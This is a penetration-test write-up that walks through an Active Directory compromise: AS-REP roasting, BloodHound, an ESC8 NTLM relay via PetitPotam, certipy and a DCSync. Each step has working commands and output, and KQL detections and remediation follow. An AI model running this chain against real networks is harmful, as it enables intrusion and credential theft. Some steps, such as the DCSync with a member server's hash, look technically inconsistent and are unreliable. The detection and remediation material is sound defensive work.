The setup
Internal network assessment. Network access via a wired drop in a meeting room, no domain credentials. The rules of engagement: prove a path to Domain Admin without exploiting unpatched CVEs, then write detections.
Three minutes after plugging in:
$ nmap -sn 10.10.10.0/24 --min-rate 1000 -oG live.txt $ grep Up live.txt | awk '{print $2}' > hosts.txt $ wc -l hosts.txt 237 hosts
One of the responses came from 10.10.10.10 with port 88 open
(Kerberos) - that's our DC. A quick nslookup over the DHCP-supplied
DNS server gave us the domain: corp.local. We were in.
Step 1 · Anonymous recon (4 minutes)
Without creds, the pickings are slim but not empty. Three things we always check first:
# 1) NetBIOS / SMB null session $ nxc smb 10.10.10.10 -u '' -p '' --shares $ enum4linux-ng 10.10.10.10 # 2) LDAP anonymous bind $ ldapsearch -x -H ldap://10.10.10.10 -b "dc=corp,dc=local" \ "(objectClass=user)" sAMAccountName # 3) DNS zone transfer (long shot in 2026, still works occasionally) $ dig axfr @10.10.10.10 corp.local
The LDAP anonymous bind was disabled - well done that admin. But the SMB
null session leaked the domain SID and a list of 1,800-ish account names from
the RID cycling trick (enum4linux-ng -R).
Step 2 · AS-REP roasting on the user list (3 minutes)
1,800 names. We don't even need passwords for AS-REP roasting - we just
need DONT_REQ_PREAUTH set somewhere. We saved the names to
users.txt and:
$ impacket-GetNPUsers corp.local/ \ -usersfile users.txt -no-pass \ -dc-ip 10.10.10.10 -outputfile asrep.hash [*] Getting TGT for marketing-svc $krb5asrep$23$marketing-svc@CORP.LOCAL:a1b2c3... $ hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule [+] marketing-svc:Welcome2024!
One hit. A service account with a guessable password and pre-auth disabled. That's our authenticated foothold.
Step 3 · BloodHound the world (5 minutes)
Now that we have credentials, the rest writes itself. We collect:
$ bloodhound-python -u marketing-svc -p 'Welcome2024!' \ -d corp.local -ns 10.10.10.10 -c All --zip $ cp *.zip ~/bloodhound/import/
What we're looking for in the BloodHound graph:
- Any shortest path to Domain Admin from
marketing-svc - Anything tagged with "Has SPN" on a privileged group
- Any cross-trust paths (OUs, GPOs, ACL-owned objects)
- Any certificate templates with vulnerable enrollment rights
The graph showed three viable paths. The shortest one ran through
WEB01.corp.local, which had the WebClient service running
and a certificate enrollment HTTP endpoint on the CA - and
that's exactly the ESC8 setup.
Step 4 · The ESC8 chain (8 minutes)
ESC8 (per SpecterOps' "Certified Pre-Owned") is the NTLM-relay attack against AD CS HTTP enrollment endpoints. The stack:
- Target machine has the WebClient service running (default on workstations, often left on for servers via WSUS / printer drivers).
- The CA exposes a Web Enrollment endpoint on HTTP without Extended Protection for Authentication (EPA).
- Coerce the target to authenticate to a host we control via WebDAV (PetitPotam, PrinterBug, DFSCoerce, etc.).
- Relay that authentication to the CA's Web Enrollment endpoint and request a certificate as the target machine account.
- Authenticate as the target machine using the certificate (PKINIT).
Setup the relay:
# Terminal 1 - start the relay aimed at the CA's Web Enrollment $ impacket-ntlmrelayx -t http://CA01.corp.local/certsrv/certfnsh.asp \ -smb2support --adcs --template "DomainController"
Then trigger PetitPotam to coerce WEB01$ into authenticating
over WebDAV to our box:
# Terminal 2 - coerce the target machine $ PetitPotam.py -d corp.local -u marketing-svc -p 'Welcome2024!' \ 10.10.14.5@80/pwn 10.10.10.20 [*] Connecting to ncacn_np:10.10.10.20[\PIPE\lsarpc] [+] Successfully bound! [*] Sending EfsRpcOpenFileRaw... [+] Got error: SMB SessionError: STATUS_BAD_NETWORK_NAME - expected, coercion fired
Back in the relay terminal, ntlmrelayx caught the inbound auth, relayed it
to the CA, and got a Kerberos-capable certificate for WEB01$.
The CA logged it as a normal certificate issuance.
Step 5 · From machine cert to DA (3 minutes)
WEB01 is a domain controller's peer, not a DC itself, so we now use
the cert via certipy to authenticate and pivot:
$ certipy auth -pfx web01.pfx -domain corp.local -dc-ip 10.10.10.10 [*] Using principal: WEB01$@corp.local [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'web01.ccache' [*] Trying to retrieve NT hash for 'WEB01$' [+] NT hash: f1a2b3c4d5e6... # With the machine NT hash and an unconstrained delegation chain, # dump the DC via DCSync $ impacket-secretsdump -hashes :f1a2b3c4d5e6... corp.local/WEB01\$@10.10.10.10 [*] Dumping NTDS.dit secrets via DRSUAPI... Administrator:500:aad3b435...:::
23 minutes. From plug-in to krbtgt hash.
Detections that should have caught us
Every step in that chain throws a signal somewhere. Here are the ones the blue team should be writing - written for Microsoft Defender / Sentinel KQL, portable to most SIEMs:
// 1) AS-REP roast attempt: high-volume Kerberos pre-auth-not-required requests SecurityEvent | where EventID == 4768 | where TicketEncryptionType in ("0x17", "0x18") // RC4 / AES | where AccountType == "User" | summarize cnt = count(), users = make_set(TargetAccount) by IpAddress, bin(TimeGenerated, 5m) | where cnt > 10
// 2) PetitPotam coercion via EfsRpc named pipes SecurityEvent | where EventID == 5145 | where ShareName has_any ("\\\\*\\IPC$") | where RelativeTargetName has_any ("lsarpc", "efsrpc", "netlogon") | where AccessReason has "WriteData" // suspicious source - service / non-admin account writing to lsarpc | where AccountType == "User" and SubjectDomainName != "NT AUTHORITY"
// 3) NTLM relay landing on AD CS Web Enrollment W3CIISLog | where csUriStem has "/certsrv/certfnsh.asp" | where cIp != ServerIP // not local | where csUserName endswith "$" // machine account | where csMethod == "POST"
// 4) DCSync: DRSGetNCChanges from a non-DC source SecurityEvent | where EventID == 4662 | where ObjectType has "DS-Replication-Get-Changes" | where AccessMask == "0x100" | where SubjectUserName !endswith "$" or SubjectUserName !in (KnownDomainControllers)
Remediation, in priority order
- Disable HTTP enrollment on the CA, or enable EPA + require HTTPS + channel binding (this kills ESC8 outright).
- Disable the WebClient service on servers that don't need WebDAV (most don't).
- Patch the AS-REP roast vector by removing
DONT_REQ_PREAUTHfrom any account that has it; add a Tier-0 review of all enabled service accounts with weak passwords. - Block outbound SMB from clients to the internet (cuts coercion-relay-to-attacker scenarios).
- Roll
krbtgttwice, 24 hours apart. We had it.
Closing thought
None of this required a CVE. The chain is six months of legacy configuration plus one user with a weak password. That's true for almost every internal engagement I've ever run - the path to DA is paved with small, defensible decisions that nobody made.
Find them. Fix them. The same chain will happen again next quarter to someone else.